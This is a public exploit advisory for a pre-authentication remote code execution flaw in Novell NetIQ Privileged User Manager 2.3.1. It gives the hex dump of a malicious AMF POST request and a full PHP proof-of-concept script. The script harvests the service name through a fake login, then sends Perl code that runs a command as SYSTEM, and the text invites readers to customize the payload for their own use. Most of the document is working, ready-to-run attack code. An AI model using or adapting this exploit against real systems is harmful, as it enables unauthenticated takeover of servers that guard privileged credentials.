Novell NetIQ Privileged User Manager 2.3.1 – ‘ldapagnt.dll’ ldapagnt_eval() Perl Code Evaluation Remote Code Execution
Novell NetIQ Privileged User Manager 2.3.1 ldapagnt.dll ldapagnt_eval() Perl Code Evaluation RCE (pre auth/SYSTEM) Tested against: Microsoft Windows 2003 r2 sp2 download url: http://download.novell.com/index.jsp (search "Privileged User Manager") file tested: NetIQ-PUM-2.3.1.iso (decompress and launch netiq_pum_manager_2.3.1_x86.msi) Background: The mentioned product installs a Windows service (unifid.exe) called 'npum', display name: "NetIQ Privileged User Manager" which listens on default tcp port 443 (https) for incoming connections. Vulnerabilty: The secure web interface contains a flaw which allows, without prior authentication, to execute a Perl script with SYSTEM privileges. This can be done by sending a POST request with well formed data. Example data: 0 : 00 00 00 00 00 01 00 14 53 50 46 2e 55 74 69 6c [........SPF.Util] 10 : 2e 63 61 6c 6c 4d 6f 64 75 6c 65 41 00 00 00 00 [.callModuleA....] 20 : 02 0a 0a 00 00 00 01 03 00 03 70 6b 74 03 00 06 [..........pkt...] 30 : 6d 65 74 68 6f 64 02 00 04 65 76 61 6c 00 06 6d [method...eval..m] 40 : 6f 64 75 6c 65 02 00 08 6c 64 61 70 61 67 6e 74 [odule...ldapagnt] 50 : 00 04 45 76 61 6c 03 00 07 63 6f 6e 74 65 6e 74 [..Eval...content] 60 : 02 00 17 73 79 73 74 65 6d 28 22 63 61 6c 63 2e [...system("calc.] 70 : 65 78 65 22 29 3b 0a 0a 31 3b 0a 0a 31 3b 00 00 [exe");..1;..1;..] 80 : 09 00 00 09 00 03 75 69 64 02 00 00 00 00 09 00 [......uid.......] 90 : 08 73 76 63 5f 6e 61 6d 65 02 00 06 61 6e 64 72 [.svc_name...andr] A0 : 65 61 00 00 09 [ea...] Note that the uid argument is empty. Explaination: Open C:\Program Files\Novell\npum\service\local\ldapagnt\module.xml (this is the configuration file of the 'ldapagnt' module). ... <Library type="dso" lib="lib/ldapagnt"> <Method name="init_ldap_cred" init="init_ldapcred" /> <Method name="eval" svc="ldapagnt_eval" /> <-------------------------- </Library> ... no role is defined for the eval() method which corresponds to the ldapagnt_eval() function inside ldapagnt.dll. As attachment, proof of concept code, which launches calc.exe from remote. Customize the shellcode for your own use. PoC: <?php /* Novell NetIQ Privileged User Manager 2.3.1 ldapagnt.dll ldapagnt_eval() Remote Perl Code Evaluation RCE (pre auth/SYSTEM) rgod */ error_reporting(E_ALL ^ E_NOTICE); set_time_limit(0); $err[0] = "[!] This script is intended to be launched from the cli!"; $err[1] = "[!] You need the curl extesion loaded!"; if (php_sapi_name() <> "cli") { die($err[0]); } function syntax() { print("usage: php 9sg_novell_netiq_ii.php [ip_address]\r\n" ); die(); } $argv[1] ? print("[*] Attacking ...\n") : syntax(); if (!extension_loaded('curl')) { $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false; if ($win) { !dl("php_curl.dll") ? die($err[1]) : print("[*] curl loaded\n"); } else { !dl("php_curl.so") ? die($err[1]) : print("[*] curl loaded\n"); } } function _s($url, $is_post, $ck, $request) { global $_use_proxy, $proxy_host, $proxy_port; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); if ($is_post) { curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $request); } curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, array( "Cookie: ".$ck, "Content-Type: application/x-amf", //do not touch this, important "x-flash-version: 11,4,402,278" )); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;ENUSMSCOM)"); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_TIMEOUT, 5); if ($_use_proxy) { curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port); } $_d = curl_exec($ch); if (curl_errno($ch)) { //die("[!] ".curl_error($ch)."\n"); } else { curl_close($ch); } return $_d; } /*********************************** config **********************************/ $host = $argv[1]; $port = 443; $code="system(\"calc.exe\");"; $identity=""; /*****************************************************************************/ function hex_dump($data, $newline="\n") { static $from = ''; static $to = ''; static $width = 16; static $pad = '.'; if ($from==='') { for ($i=0; $i<=0xFF; $i++) { $from .= chr($i); $to .= ($i >= 0x20 && $i <= 0x7E) ? chr($i) : $pad; } } $hex = str_split(bin2hex($data), $width*2); $chars = str_split(strtr($data, $from, $to), $width); $offset = 0; foreach ($hex as $i => $line) { echo sprintf('%6X',$offset).' : '.implode(' ', str_split($line,2)) . ' [' . $chars[$i] . ']' . $newline; $offset += $width; } sleep(1); } print("[*] I need the service name, fake login request ...\n"); $data= "\x00\x00\x00\x00\x00\x01\x00\x15\x53\x50\x46\x2e\x55\x74". // ..........SPF.Ut "\x69\x6c\x2e\x63\x61\x6c\x6c\x4d\x6f\x64\x75\x6c\x65\x45\x78\x00". // il.callModuleEx. "\x02\x2f\x34\x00\x00\x00\x64\x0a\x00\x00\x00\x01\x03\x00\x03\x70". // ./4...d........p "\x6b\x74\x03\x00\x0b\x43\x72\x65\x64\x65\x6e\x74\x69\x61\x6c\x73". // kt...Credentials "\x03\x00\x04\x6e\x61\x6d\x65\x02\x00\x04\x74\x65\x73\x74\x00\x06". // ...name...test.. "\x70\x61\x73\x73\x77\x64\x02\x00\x04\x74\x65\x73\x74\x00\x00\x09". // passwd...test... "\x00\x06\x6d\x65\x74\x68\x6f\x64\x02\x00\x05\x6c\x6f\x67\x69\x6e". // ..method...login "\x00\x06\x6d\x6f\x64\x75\x6c\x65\x02\x00\x04\x61\x75\x74\x68\x00". // ..module...auth. "\x03\x75\x69\x64\x06\x00\x00\x09\x00\x00\x09"; // .uid....... print(hex_dump($data)."\n"); $url = "https://$host:$port/"; $out = _s($url, 1, "", $data); print(hex_dump($out)."\n"); $tmp=explode("svc",$out);$tmp=$tmp[1];$len=unpack("n",$tmp[1].$tmp[2]); $svc_name=""; for ($i=0; $i<$len[1]; $i++){ $svc_name.=$tmp[$i + 3]; } echo "[*] svc_name -> ".$svc_name."\n"; $data= "\x00\x00\x00\x00\x00\x01". "\x00\x14". "SPF.Util.callModuleA". "\x00\x00". "\x00". "\x00\x02". "\x0a\x0a". //whatever "\x00\x00\x00\x01\x03". "\x00\x03". "pkt". "\x03". "\x00\x06". "method". "\x02". "\x00\x04". "eval". "\x00\x06". "module". "\x02". "\x00\x08". "ldapagnt". "\x00\x04". "Eval". "\x03". "\x00\x07". "content". "\x02". pack("n",strlen($code) + 4). $code. "\x0a\x0a1;\x0a\x0a1;". "\x00\x00\x09". "\x00\x00\x09". "\x00\x03". "uid". "\x02". pack("n",strlen($identity)). $identity. "\x00\x00\x09". "\x00\x08". "svc_name". "\x02". pack("n",strlen($svc_name)). $svc_name. "\x00\x00\x09"; print(hex_dump($data)."\n"); $url = "https://$host:$port/"; $out = _s($url, 1, "", $data); print(hex_dump($out)."\n"); ?> |